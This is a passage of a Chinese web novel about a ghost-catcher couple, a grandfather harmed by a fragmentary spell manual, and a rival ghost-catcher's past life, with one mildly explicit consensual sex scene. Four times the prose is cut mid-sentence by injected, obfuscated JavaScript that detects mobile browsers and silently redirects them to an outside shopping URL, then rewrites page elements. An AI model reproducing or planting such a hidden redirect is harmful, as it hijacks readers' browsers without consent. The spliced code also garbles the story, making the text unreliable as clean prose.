路回的一只手扶上左轻白的腰,左轻白腰上一痒,“呀”了一声,骂道:“流氓。” 左轻白刚想从路回腿上起来,却被路回死死拉住。 路回看到左轻白耳尖微红,不知怎的忽然间就心情舒畅了许多。 路回一挑眉,轻佻道:“是挺流氓。你今晚就只能任我这个流氓处置了。” “你说的处置是这个啊?”左轻白脸上也微红。 “嗯。”路回一手把左轻白摁在自己腿上,一手解开自己那系得紧紧的皮带,并用皮带反捆住左轻白的双手。 其实以左轻白的力量,想要挣脱轻轻松松,但左轻白一动不动,任路回弄她。 这何尝不是一种宠爱呢? “我要罚你。”路回说。 “有错才受罚,我何错之有?捉鬼有错咯?”左轻白问。 路回摇摇头,他突然俯身向前,用牙咬开左轻白睡衣的第二颗扣子——为什么从第二颗扣子开始咬,因为第一颗左轻白没系。 路回说:“你是捉鬼师,捉鬼师捉鬼,一点错都没有。你错在把我扔下。” “难不成我还带你去?” “为什么不能带我去?”路回继续咬开下一颗扣子。 “那下面有大干尸。” “正好开开眼界。” “还有脑袋被咬了一半还在走路说话的鬼!” “遇到你之后鬼我还见得少吗?” 路回把左轻白的睡衣扣子全部咬开,他搂住了左轻白光洁的腰,又顺着她的脖颈一路往下吻。 左轻白双手被缚,这种情.色味十足的束缚反而让她感受到了一种无名的刺激,路回的每一吻,都让她心潮澎湃,甚至血管里都跳起了蓝色火花。 食色性也,男人如此,女人亦如此。 路回察觉到左轻白今晚更敏感,便问:“喜欢这样?” 左轻白没说话,脸却是红的。 路回轻笑:“那就是喜欢了。” 路回把左轻白扒了个七七八八,房间里的空气似乎都变成了刺激的红色,左轻白跨坐在路回腿上,脑袋伏在路回肩头,她的意识有些模糊,身体却很舒坦。 路回主导着这场旖旎的情.事,他有时闷哼,但大部分时间不出声,只出力,左轻白的腰被他掐出了红印子。 事毕,两人躺在床上。 今晚左轻白连声招呼都不打就抛下路回,路回本来很生气,但用一场情.事发泄过后,他的气已经消得干干净净了。 路回低头看着躺在自己身边靠着自己睡觉的左轻白,心又软了几分。 路回拨开左轻白的头发,轻声道:“败给你了。” 左轻白没睡着,她睁开一只眼看路回,问他:“气消了?” 路回不情不愿地“嗯”了一声。 左轻白睁开两只眼睛,从被窝里伸出脑袋来,对路回说:“这都生气?小气。” 路回道:“你不会换位思考吗?换作是我一声招呼都不打扔下你就走,一眨眼的工夫影子都不见了,你也会生气。” 左轻白嘻嘻笑道:“没经历过,所以我不知道我会不会生气,下次你试试,看我生不生气。” 路回:“……” 路回把左轻白塞回了被子里。 “睡觉吧你。”路回说。 “明早要不要跟外公一起吃早饭?”左轻白问。 “外公说年轻人都起得晚,起不来就不去了。” “我们去吧。”左轻白却说。 路回用询问的目光看向左轻白。 “你外公对所有人冷淡是有原因的,他的识感被封了。”左轻白说。 “什么叫识感?”路回认真询问。 “你可以理解为人脑子里感知情感的一条经脉。识感被封,人会变冷漠,对亲近的人也是。” “你有办法解决?” “望闻问切,现在你外公是病人,我得看到病人才能开方下药啊。”左轻白说。 “那就是真有办法。”路回惊喜道。 路回钻进被窝,抱住左轻白。 “冷死了。”路回笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967544|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着说,“要不再做点运动暖和一下?” 左轻白伸手去推他,笑骂:“滚吧你,冷个屁!” 次日早上。 虽然两人昨晚睡得很晚,但今早都默契地起了个大早,赶上跟宋辉民一起吃早餐。 宋辉民家的餐厅相当大,大到在里面开大型宴会都没有问题,这么大的一个餐厅就只有宋辉民、路回、左轻白三个人在吃饭,外加几个仆人伺候,路回这个外公的实力可见一斑。 餐桌上,宋辉民一如既往的冷淡,对路回这个昔日最疼爱的外孙也不过是问了一句昨晚睡得好不好,就再没有关心的话了。 吃完早饭,宋辉民又说他想去书房看书,路回连忙说:“外公,你最近看的那些古书,轻白也懂不少,不如让她跟你去书房,一起讨论讨论?” 宋辉民摆摆手,高深莫测地说:“我看的书你们这些小年轻看不懂,你们还是自己玩吧。” 左轻白赶紧说:“外公最近是不是在看《黄帝内经》?” 宋辉民微讶,问:“你怎么知道?” 左轻白不着急回答,而是说:“《黄帝内经》不仅是最早的医书,它还建立了中医学上的阴阳五行说,与黄老道家的道法一脉相承。《黄帝内经》分为《灵柩》、《素问》两部分,如果我没猜错的话,外公应该刚刚读完《灵柩》,正准备读《素问》。读《素问》开篇时,外公是不是遇到了些疑惑?” 宋辉民“唰”的一下冲到左轻白面前,激动地握住左轻白的手,说:“高人啊!” 路回已经很久没见过宋辉民这么激动了。 宋辉民立即说要带左轻白和路回去书房,动身之前,路回找了个合适的机会,避开宋辉民问左轻白:“你怎么知道外公在看什么书?这里面有什么奥妙?” 左轻白小声说:“没什么奥妙,上次跟外公见面,我看到他桌上摆着《黄帝内经》,刚好翻到《灵柩》末篇。推算进度,他现在应该已经开始看《素问》开篇了。” “那你怎么知道他读《素问》开篇时遇到了疑惑?” “你看外公那两个黑眼圈,肯定熬夜琢磨了呗。” “就这么简单?没用到你那些符啊术啊之类的?” “是啊,就这么简单。” 路回摸了摸鼻子,若有所思。 左轻白看了路回一眼,不由分说地踩了他一脚,“什么表情?想什么呢你?” 路回笑道:“我在想我老婆真厉害,有当侦探的潜质。” 92. 一起喝杯茶 左轻白和路回跟着宋辉民一起去了书房。 说是书房,不如说是图书馆更为合适,三层楼的高度,楼层全部打通,有旋转楼梯可上下取书,这里的书每天有专门的管理员整理,分类摆放得整整齐齐。 宋辉民让管理员离开,图书馆里只剩宋辉民、左轻白、路回三个人。 图书馆一楼有一个红木大木桌,桌上放着宋辉民常看的书,这些书分成两沓,左轻白看了看,其中一沓都是些《易经》、《黄帝内经》、《五行大义》之类的用于学习五行八卦的书,这些书一般的图书馆都有,没什么特别的。 在这些书的一旁,还有一本单独摆出来的书,这本书很特别,它看起来很旧,书皮是空白的,没有写书名,得到宋辉民同意后,左轻白翻开了它。 翻开之后,左轻白的眼睛都瞪大了。 书里的内容,左轻白熟悉得不能再熟悉,写的就是左轻白从小练到大的捉鬼术口诀!不过不是完整的全套,是残本。 左轻白赶紧把书合上。 左轻白闭了闭眼,有一个人的脸从左轻白脑海中浮现出来,这个人是已经自杀身亡的影帝肖安。 左轻白的记忆回到某酒店中,她与肖安在酒店中对峙。 左轻白问肖安:“招魂术的口诀是谁给你的?” 肖安回答:“不知道。有人偷偷写了一段在我家里,我尝试了一下,没想到真的招来了鬼,既然能招来鬼,那就一定能招来魂,它给了我希望。” 招魂术就是捉鬼术中的一种。 在肖安家里写招魂术的,跟给宋辉民捉鬼术残卷的,是不是同一个人? 如果是同一个人,这个人一定是个捉鬼师,在这个捉鬼师已断代500年的世界,这个人会是谁? 当下这个世界新来了三个捉鬼师:周夙、左轻白、兰殊尔,这人不会是左轻白或兰殊尔,因为他俩来到这个世界时,肖安已经学起了招魂术,宋辉民也得到了书。 那就还剩下一个人——周夙。 周夙干的,都是周夙干的!是他在肖安家里写下招魂术,引诱肖安练习,也是他给了宋辉民捉鬼术残卷,导致宋辉民日日沉浸其中,不问世事。 捉鬼术很难,天赋是门槛,没有天赋又没有师父指点,自己照着几段口诀瞎练,绝对是要出事的,肖安把招魂练成了招鬼,宋辉民学着学着走火入魔,自己把自己的识感封了起来,他还不知道,这就是瞎练捉鬼术的后果。 宋辉民指着那本捉鬼术残卷说:“我在研究这本书,它很深奥,它让我看到了另一个世界,我对它非常着迷,我把它叫做神书。” 宋辉民又指着另一沓《易经》、《黄帝内经》、《五行大义》等用于学习五行八卦的书说:“这一沓书只是辅助,我发现神书中有不少涉及五行八卦的地方,我觉得我之所以看不懂神书,一定是因为我还没有学透五行八卦,于是我找来这些书补一补。” 宋辉民拿起《黄帝内经》,翻到他最近读到的地方,又拿起捉鬼术残卷,翻到他做了标记的一页,对左轻白说:“左小姐,我觉得神书的这一句话,跟《黄帝内经》的这一段,一定有些联系。左小姐对《黄帝内经》有研究,左小姐帮我看看,是不是这样?” 宋辉民对左轻白的称呼很生分,不叫“轻白”、“外孙媳妇”,而是叫“左小姐”,不过也正常,现在的宋辉民对谁都生分。 左轻白看都不看就摇了摇头。 虽然捉鬼术基于道家道法,《黄帝内经》也基于道家学说,但两者不是一个方向,联系不到一块,左轻白知道这是宋辉民学岔了。 左轻白把《黄帝内经》合上,对宋辉民说:“外公,《黄帝内经》跟你口中的神书并没有关系。” 宋辉民闻言,脸色一变,不高兴道:“怎么会没有关系呢?这是我研究了很久得出的结论。” 左轻白拿起捉鬼术残卷,道:“外公,实不相瞒,我对这本神书比对《黄帝内经》更熟,这是我的家传本。” 宋辉民不信,“是吗?” 左轻白把捉鬼术残卷递给宋辉民,说道:“我能把它全本背诵,外公如果不信,从里面随便挑几句来考我,外公念出上句,我就能对出下句。” 宋辉民随便翻到一页,随便找了一句,念道:“以六脉之气祭日月之辉。” 左轻白接道:“破六郁六病之危急。” 宋辉民眼中露出惊喜之色。 宋辉民又问了左轻白两句,他问上句,左轻白都能对出下句,没有出错。宋辉明惊喜之色愈发明显,他又多问了几句,不仅用上句问下句,还用下句问上句,左轻白一一答了出来,没有出错的。 宋辉民大喜,对着左轻白大呼“高人”。 左轻白问宋辉民:“外公,这书是谁给您的?” “是管家方伯偶然得到的,他说看不懂,让我看看,我一看就迷上了。”宋辉民如实说道。 方伯?周夙的妈妈是方伯的恩人,莫不是周夙借着自己妈妈跟方伯的关系,忽悠方伯把这本捉鬼术残卷给了宋辉民? 左轻白对宋辉民说:“外公啊,您之所以研究这本神书这么久一直没研究明白,是因为这本书是残卷,很多地方写错了。” “什么?” 左轻白点点头,“是啊,写错了,顺序还不对。外公如果信任我,我写一本真正的全本给外公,外公看全本就能看懂啦。” “好!好!” 左轻白当场给宋辉民写书。 她当然没写真的捉鬼术秘籍,残卷都能让宋辉民走火入魔,全本那还不要命? 左轻白写的“全本”,看似是那本残卷的补充,实际上左轻白动了手脚,换掉了捉鬼的内容,写了一本正经的调理经脉的书给宋辉民。 左轻白把写好的“全本”送给宋辉民,说:“外公,那本残卷您就不要再看了,看我这本全本吧,不到半年,保证您研究得明明白白。” 宋辉民欣喜地接过左轻白写的书,迫不及待地翻看。宋辉民笑道:“全本读起来果然比残卷清楚明了!” 宋辉民迫不及待地留在馆里看书,左轻白和路回并肩走出图书馆。 左轻白对路回说:“不到半年你再来看你外公,他就能恢复得跟以前一样了。” 路回问:“这么神奇?你刚才给他写的是什么书?” “一本通经脉的书。”左轻白道,“外公识感被封,才会变得对所有亲人很冷淡,识感就是人脑子里感知情感的一条经脉。外公的识感为什么被封?就是因为他瞎练捉鬼术残卷导致走火入魔。” 路回惊讶,“他得到的那本神书是捉鬼术残卷?” 左轻白点点头,“是。天赋不够又没人指导,乱练捉鬼术必然出事,外公就是这样走火入魔,自己把自己的识感封掉了。我给他新写的那本书不是什么全本,它就是一本通经脉的书,照着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032980|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修炼可以打通封死的经脉,对人的身体有好处,外公照着那本书练一段时间,他的识感就能打通,人就会变得跟以前一样热情了。” 路回听罢,牵起左轻白的手,笑道:“那等外公好了,我们再回来一趟,我怎么都得让他叫你一声外孙媳妇。” 路回和左轻白离开宋辉民家时,嘱咐管家方伯把通向地底的那口井给填了,虽然那下面的鬼都被左轻白除了,已经没有什么危险,但那地方太吓人,还是填了好,方伯满口答应,说征得宋辉民的同意后就马上填。 路回和左轻白走后,方伯独站在那口井旁,用手抚摸着井边,叹了口气,自言自语道:“填了吧,填了好,尽管这才是我的家……” 方伯其实不姓方,方伯姓周,只是这件事没有人知道。 司机开车,载着左轻白和路回离开宋辉民家。路过一座叫金云山的风景区时,路回突然心血来潮,叫司机停车。 路回的豪车停在金云山风景区停车场,格外显眼。 左轻白迷迷糊糊,不知道为什么停车,路回牵着她的手下了车。 左轻白看着眼前的牌子,念道:“金云山风景区?怎么突然爬山?”她问路回。 路回牵着左轻白往山上走,说:“现在是初秋,小时候外公带我来过这里,我记得每到初秋,山上的银杏叶一黄,一群一群的,跟金灿灿的云朵一样,我想起这里的风景,就想带你看看。” 左轻白嘻嘻笑道:“为什么想带我看?” “不知道啊,只要想起什么美好的东西,就想分享给你。” 小情侣牵着手,往山上走去。 左轻白看到了金云山上的银杏叶,果然如路回所说,一群一群金灿灿,有时偶有一两片像金蝴蝶一样飘落下来,在阳光下闪闪发光,世间美景不过如此。 半山腰银杏叶最多的地方,有人依山建了一座茶楼,叫赏叶馆,附近退休老人经常来这里喝茶。赏叶馆有两层,为了观景方便,二楼的窗户大开,里面能看清楚地看到外面,外面也能清楚地看到里面。 左轻白看到,今天赏叶馆里人比较少,二楼只有零星的几个人,有一人挨着窗户坐着,明明很年轻,却用老年人一样的动作慢悠悠地喝茶。 这人左轻白认识,路回也认识,是周夙。 左轻白远远地看周夙,周夙显然也看到了他们,目光望了过来。 左轻白目光一沉,她现在知道了周夙就是舒瑾安,周夙带着前世的记忆,他不仅会捉鬼术,还私学了鬼术。 周夙私学鬼术,把自己弄得鬼里鬼气;还呆在金绮月那个恶鬼身边,对她死心塌地;他在肖安家里写招魂术、送给宋辉民捉鬼术残卷,引诱这些不能练捉鬼术的人练捉鬼术,这是害人,左轻白不知道他想干什么。 周夙发现左轻白在看他,竟主动朝左轻白露出一个古怪的笑。 周夙拿起手中的茶杯,朝左轻白做了一个敬酒的动作。 接着,周夙拿出手机,打了个电话,然后路回的手机就响了。 路回接了电话:“喂,哥?” 赏叶馆上的周夙对着手机说:“弟弟,我看到你了。我在你身后的茶楼,你要不要带你女朋友上来一起喝杯茶?” 周夙一边跟路回打电话,一边死死地盯着左轻白,嘴角扬起冷笑。 左轻白的脸又沉了几分,她想自己在气势上不能被压一头,便狠狠地朝周夙瞪了回去。 93. 到底是为什么 路回转头看了一眼左轻白,正好看到她在瞪周夙。 路回叹了一口气,说道:“你不要对我哥有太大敌意,他人挺好的,只是一时被恶鬼蒙蔽,但这有什么办法呢?他也只是一个普通人。” 路回还不知道周夙是捉鬼师舒瑾安的转世。 路回跟这个哥哥关系很好,他不会相信周夙是坏人,也不会允许别人伤害周夙,但一个投靠了恶鬼的捉鬼师,也是捉鬼师击杀的目标,也就是说,如果周夙一直执迷不悟下去的话,他也是左轻白击杀的目标。 左轻白和路回一起上了茶楼,跟周夙同坐一桌。 左轻白一直沉默,一旁,路回与周夙相谈甚欢,聊到感情问题时,路回试探着问周夙:“哥,你跟金绮月,还不打算分手吗?” “他不会分的。”左轻白冷不丁来了一句。 意识到自己的冷脸让现场气氛有些尴尬,左轻白想了想,眼珠子骨碌一转,露出一副嘻嘻哈哈的笑脸,对周夙说:“不分也好,咱们以后就是一家人了。” 左轻白拿出手机,对周夙道:“既然是一家人,那哥,咱们加个微信呗。” “好啊。”周夙笑着说。 两人光明正大地加了微信。 周夙继续跟路回聊天,左轻白把手伸到桌子底下,悄悄给周夙发微信。 左轻白:你是不是弄了个跟我长得一样的干尸到地面上来? 周夙:吓吓你而已,我弄死了。 左轻白:你有病吧? 周夙:它长着你的样子,我怕我弟认错,我为我弟着想,就把它弄死了。 左轻白:算你有点良心。 左轻白没再给周夙发微信,她怕路回发现,不敢发得太频繁。 周夙却主动发了一条新消息过来。 周夙:周宅你怎么处置? 左轻白:我把里面的鬼全收了,又让方伯把进入周宅的那口井填了。 周夙:你让他填? 左轻白:他不能填? 周夙:方伯就是周如森,那是他的家。 左轻白看到这句话时,眼睛骤然瞪大。 左轻白回想起方伯的一些古怪神情,当左轻白说到那个被周如森伤了心的女鬼是只夜叉鬼时,方伯突然看了左轻白一眼,眼中闪过一丝微妙的感情,说道:“原来她叫夜叉鬼吗?” 方伯就是周家的祖先周如森,但他是怎么活这么久的? 左轻白下意识地用询问的眼神看向周夙。 周夙又发来一条微信。 周夙:我也是刚发现,周如森这人古怪得很,我把他抓到地下,想问个清楚,结果你把人救走了。 左轻白:你的意思是我坏事咯? 周夙:嗯。 左轻白气不打一处来,当她还想继续发消息时,路回发现了这两人的不对劲,俩人都把手机伸到桌子底下去,手好像在打字,眼睛还时不时往下瞟一眼。 路回古怪道:“你们……在干嘛?” 周夙面不改色:“我给绮月发信息。” 左轻白急忙调出俄罗斯方块的界面,“我在打俄罗斯方块。” 路回:“都要避着我吗?” 周夙理直气壮:“你老劝我跟她分手,我当然要避着你。” 左轻白也说:“我怕我光明正大打游戏显得不太礼貌,但又实在无聊,所以就在桌子底下偷偷打。” 周夙微微一笑,对左轻白说:“不好意思,是我们忽略了弟妹。”他又转头对路回道:“既然弟妹觉得无聊,那我们别在这里呆了,咱们慢慢下山去吧。” 三人离开茶楼,往山下走去。 一路上风景极好,但左轻白没有了看风景的心思。 “你外公还好吧?”周夙问路回。 路回还没开口,左轻白抢先说道:“看了些不该看的书,差点走火入魔,不过现在问题已经解决了。” “是弟妹解决的吗?”周夙看着左轻白,问。 “是啊。” “弟妹本领真大。”周夙拍了拍路回的肩膀,“我弟弟有福气。” 路回不是傻子,他总觉得这俩之间的气氛很奇怪,但他没点破。 左轻白说:“那书不知道是哪个二百五给外公的,这不是纯害人吗?也不知道那蠢货安的什么心。” 周夙当然知道左轻白说的“二百五”、“蠢货”是他。 周夙也不生气,笑了笑,说:“这世上哪有什么蠢货?但凡是人,就都是精明的,只是有些人把精明写在脸上,有些人把精明埋在心底。人都清楚自己想要什么。” 地上的银杏叶被环卫工人打扫过了,一小堆一小堆地堆在路旁,左轻白路过其中一堆时,突然,叶子堆里黑气一闪,“嗖”的一下伸出一只手来,抓住左轻白的脚腕,把左轻白的脚拉进叶子堆里,紧接着,叶子堆里那只手像长满了刺似的,刺往左轻白腿骨里扎,痛得左轻白倒吸一口凉气。 左轻白不敢硬拔自己的脚,一动就会疼。路回发现左轻白落后,连忙返回到左轻白身边,问:“怎么了?” “崴着脚了。”左轻白撒了个谎,她扶着路回,慢慢把自己的脚从叶子堆里拔出来。左轻白卷起自己的裤脚一看,发现从脚踝到小腿的地方蔓延着狰狞可怖的黑血丝,整条腿冒着黑气。 但显然路回什么都看不见,在他眼里左轻白的腿白白净净,什么也没有。 而左轻白知道,自己这是中毒了,是一种对付鬼用的寒毒,捉鬼师会炼制这种毒。这种毒用在人身上不致命,但会让人受几个小时折磨,症状类似严重的病毒感染,熬过去就好了。 左轻白看了一眼不远处的周夙,心想捉鬼师会炼制寒毒,这不就是个捉鬼师嘛!左轻白心知肚明,是周夙干的。 左轻白哪里是能吃亏的人,她咬牙切齿,心想好啊,你是捉鬼师我也是,你手里有寒毒,我就没有吗? 左轻白的手中出现了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14055999|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一枚细针,她把针藏在指缝里。 左轻白破天荒地对路回撒娇道:“崴着脚了,你能背我下去吗?” 路回当然答应。 路回背起了左轻白,左轻白取下自己挎着的包包,眨巴眨巴眼睛,对周夙道:“能麻烦哥帮我拿一下包吗?” 周夙不好拒绝,伸手接过左轻白递过来的包包。 就在周夙的手跟左轻白的手接触的那一刹那,周夙突然感受到手上刺痛,像是被针刺了一下。左轻白迅速收手,周夙往自己手掌上一看,他的手掌上出现了一个被针刺破的血点,血点四周蔓延着黑气和狰狞可怖的黑血丝,跟左轻白腿上的情况一样。 周夙也中毒了,跟左轻白一模一样的毒。 左轻白露出得意洋洋的笑,心说:你暗算我,我也暗算你,我左轻白从来不是个吃得了亏的人。 此时左轻白看着周夙的眼神充满了挑衅,仿佛在说:这样才公平。 从金云山回去后,左轻白就发烧了,类似病毒感染导致的发烧。路回皱着眉,连忙让人去叫医生,但左轻白坚持不让。左轻白知道医生治不了,这不是病毒感染,而是周夙下的寒毒,这种毒是捉鬼师对付鬼用的,用在人身上不致命,只是会难受几个小时,熬过去就好了。 想起周夙,左轻白脑袋很晕,她不知道这人到底安的什么心。 周夙甘心为恶鬼金绮月卖命,是捉鬼师的败类;他引诱不能学习捉鬼术的人去学捉鬼术,是害人。周夙做了很多坏事,但他动了宋辉民那座豪宅的阵眼,让那座豪宅不再是凶宅,间接救了宋辉民的命,他也做过好事。 左轻白发着烧,脑袋越来越沉,她搞不懂周夙想干什么,他的目的是什么,他到底是好还是坏…… 还有那个方伯,也就是周如森,他应该早就死了才对,他是怎么活这么久的?又或者他跟周夙一样,是转世来的?这个周家还有什么秘密…… 就在左轻白因寒毒发烧的同时,周夙家,周夙也同样因寒毒发起了烧。 周夙全身发冷,把自己裹在被子里。周夙也没有请医生,他知道请医生没用,寒毒对人不致命,但是难受的几个小时要自己熬过去。 周夙摊开手掌,看了看那个被左轻白用针扎出来的红点,那枚针浸了寒毒。 周夙是捉鬼师,他手里有寒毒;左轻白也是捉鬼师,她手里也有寒毒。 周夙苦笑了一下,心想那妮子果然吃不得亏,有仇当场报。 周夙身上愈来愈冷,头愈来愈沉,他很难受,最难受的时候他想起了金绮月。虽然周夙很清楚金绮月不可能来照顾他,金绮月就不是个能照顾人的,但他此时真的很希望金绮月能出现在他身边,哪怕只出现一秒,让他高兴高兴也好。 周夙嘴唇发抖,嘴里无意识地叫着金绮月的名字,恍恍惚惚中他的思绪飘回了500年前。 自己到底是为什么爱上金绮月,又是为什么把自己搞得这么卑微的?周夙想。 94. 带你去个地方 500年前,天女城,这一年,舒瑾安十八岁。 舒瑾安长相俊美,性格有些忧郁,不爱说话,也不合群,在修行上,他是同龄人中的优等生,深得舒家长老喜爱,但并不受跟他一起修炼的同龄弟子喜欢,毕竟没有哪个群体喜欢不合群的人。虽然同龄弟子们不敢在长老面前对舒瑾安怎么样,但会在背地里偷偷挤兑他。 这一年,舒家来了个女孩子,这个女孩叫金绮月。 听说金绮月是个恶女,还是个小小年纪就会勾引男人的恶女,之前她寄住在赵家,引诱赵家最小的两个公子为她决斗,以至一个断了腿,落下残疾,另一个掉下水溺死,连命都没了。 金绮月是舒瑾安从赵家接回来的,当然,舒瑾安也是受了长老们的命令。 舒家弟子不待见金绮月这样的恶女,不理解为什么长老们会允许这样的恶女进入天女城。金绮月在天女城里并不受欢迎。 金绮月不受欢迎,舒瑾安也不受欢迎,于是他俩玩到一块去了。 一开始金绮月表现得楚楚可怜,舒瑾安只把她当成需要保护的妹妹。 突然有一天,不知是谁泄露了消息,说长老们之所以把金绮月接到天女城,是因为金绮月是百年难得一见的助道者体质。男捉鬼师如果能与女助道者交.合,二者体.液接触,男捉鬼师的法力就会暴涨。 说白了金绮月就是个鼎炉,双修用的。 虽然这个说法并未得到长老们的公开证实,但天女城的捉鬼师们都因此想要接近金绮月。 舒瑾安主动当起了护花使者,谁敢接近金绮月,就亮剑吓退他。那些人却觉得舒瑾安是另怀心思,有人笑嘻嘻地对舒瑾安说:“你不会是想独占助道者吧?”被舒瑾安赶跑了。 金绮月不仅有舒瑾安保护,她自己也不是个好惹的主。 一次舒瑾安不在,一个叫舒钦安的人靠近了金绮月。 金绮月看上去并不排斥舒钦安,甚至对他很有好感,舒钦安来的时候她正在河边泡脚,边泡脚边拿着一个荷包,从荷包里拿出瓜子来吃。 金绮月偏头看了一眼舒钦安,露出一个天真无邪的笑容,她举起自己手里的荷包,友好地问舒钦安:“你要吃瓜子吗?” 舒钦安的目光往下移,落在金绮月泡在水里的脚上,金绮月的脚丫子雪白饱满。舒钦安说道:“水冷,小心着凉。” 金绮月笑道:“不怕。”她再次举起手中的荷包,问舒钦安:“你要吃瓜子吗?” 她甜甜的笑容让舒钦安晃了一下神,舒钦安毫不犹豫地开口说道:“要。” 金绮月把手中的荷包扔给舒钦安,“快吃吧。”她笑着说。 舒钦安把手伸进荷包里去,突然之间他面目狰狞,“啊”的爆发出一声凄厉的惨叫,惨叫声回荡在天女城中。 金绮月在荷包里放了一只毒蝎子,毒蝎子咬中了舒钦安的手指。 这蝎子毒性很大,舒钦安当场晕倒,不省人事,被送去急救,救了好久才捡回来一条命。 金绮月则拍着手哈哈大笑,笑得没心没肺,巴不得舒钦安死了才好。 金绮月这姑娘,长着一张娃娃脸,看似天真无邪,实则心狠手辣。 尽管伤了人,金绮月也没有被赶出天女城,助道者多难得啊,舒家长老不会让金绮月走的,但他们希望金绮月能乖一点。 长老们把金绮月叫来议会厅,金绮月坐在中央,长老们围着她席地而坐。 “让我走。”金绮月开口道。 “你不能走。”一名长老说。 “为什么?” “你身份特殊,能辅助捉鬼师修炼,就当是为了捉鬼事业,你不能走。” “捉鬼关我屁事?” “捉鬼是为了守护人间安宁。” “人间安宁又关我屁事?少拿这种大话空话压我,我只想按我的心意活。” 金绮月扫视一周,冷笑道:“舒家盛名在外,不会让一群男人欺负我这个孤女吧?传出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14074240|130847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去让世人怎么看?” 金绮月大声说:“近几日你们年轻弟子中有人骚扰我,你们这些老头到底管不管啊!” 这确实是一桩丑闻,传出去不好听。 长老们互相对视了一下,一名长老说道:“那几个年轻弟子不懂事,但你手段非常,他们也受到了惩罚,这事就算扯平了。这样吧,我们给你配一门亲事,有了丈夫,就没人再敢欺负你,而你也能收心,安心留在天女城。” 另一名长老说:“我们观察了一段时间,你与瑾安关系不错,那就由我们来主持,你与瑾安择日完婚。” 金绮月瞪大了眼睛,“这就是你们的主意?你们凭什么摆布我?” “自古以来助道者都是要与捉鬼师成亲的,你若觉得自己年纪还小,那就等上一年再完婚。” “我问的是你们凭什么摆布我!”金绮月暴怒地站起来,她觉得自己受到了莫大的羞辱。 然而眼前的长老们对金绮月的暴怒无动于衷,仿佛金绮月的情绪不是情绪。 金绮月想起以前在鬼村的时候,村长爷爷和村子里的其他人对她可好了,她发脾气、她哭、她闹,都会有一堆人来哄,她的情绪从未被忽视过;而在这里,她高兴还是不高兴,愿意还是不愿意,都没有人在意,这就是寄人篱下与在自己家的区别。 金绮月忽然感到很无助,无助的地方在于,她想杀了眼前这几个老头,可她没本事。金绮月只能忍。 金绮月转身离开了议会厅。 “绮月。”舒瑾安在外面等她,紧张道:“发生什么事了?” 金绮月看了舒瑾安一眼,心里恶狠狠地想:他也想拿我当鼎炉?好啊,我弄死他。 虽然心里想着弄死对方,但金绮月脸上却露出了甜甜的微笑。她这人就是这样,心思越阴毒,笑容就越甜。 金绮月把两只手一合,举起来摆在下巴下,眨巴眨巴大眼睛,甜甜地笑道:“没什么事哦。瑾安小哥哥,我带你去个地方。” 95. 也就真的信了 金绮月牵着舒瑾安,舒瑾安跟着金绮月,看着金绮月的背影,舒瑾安只觉得心里软成了一滩水。 路上若有其他弟子对他俩指指点点,舒瑾安便狠狠地瞪他们一眼,并亮出宝剑,把他们吓退。他俨然把自己当成了金绮月的护花使者,这种身份认同让他感到自己是被需要的。 金绮月把舒瑾安带到河边,突然,她跳了下去。 金绮月的衣服被打湿,贴着金绮月的身体。少女的身子虽然不够凹凸有致,但妙曼玲珑,惹人遐想。 舒瑾安双颊一烫,连忙闭上眼睛。 闭上眼睛也不行,就算闭上眼睛,金绮月的脸、金绮月的身体依旧在他眼前浮现。 这一刻,舒瑾安知道自己完了。 这时,河里传来“啊呀”一声,金绮月惊恐地喊道:“有水蛇!救我!” 舒瑾安二话不说立即跳下河去。 金绮月往舒瑾安怀里钻,混乱间舒瑾安突然感到手上巨痛无比,定眼一看,金绮月正抓着一条水蛇,水蛇张嘴咬在舒瑾安手上,而金绮月正欣赏着舒瑾安被咬的样子,露出开怀的笑容。 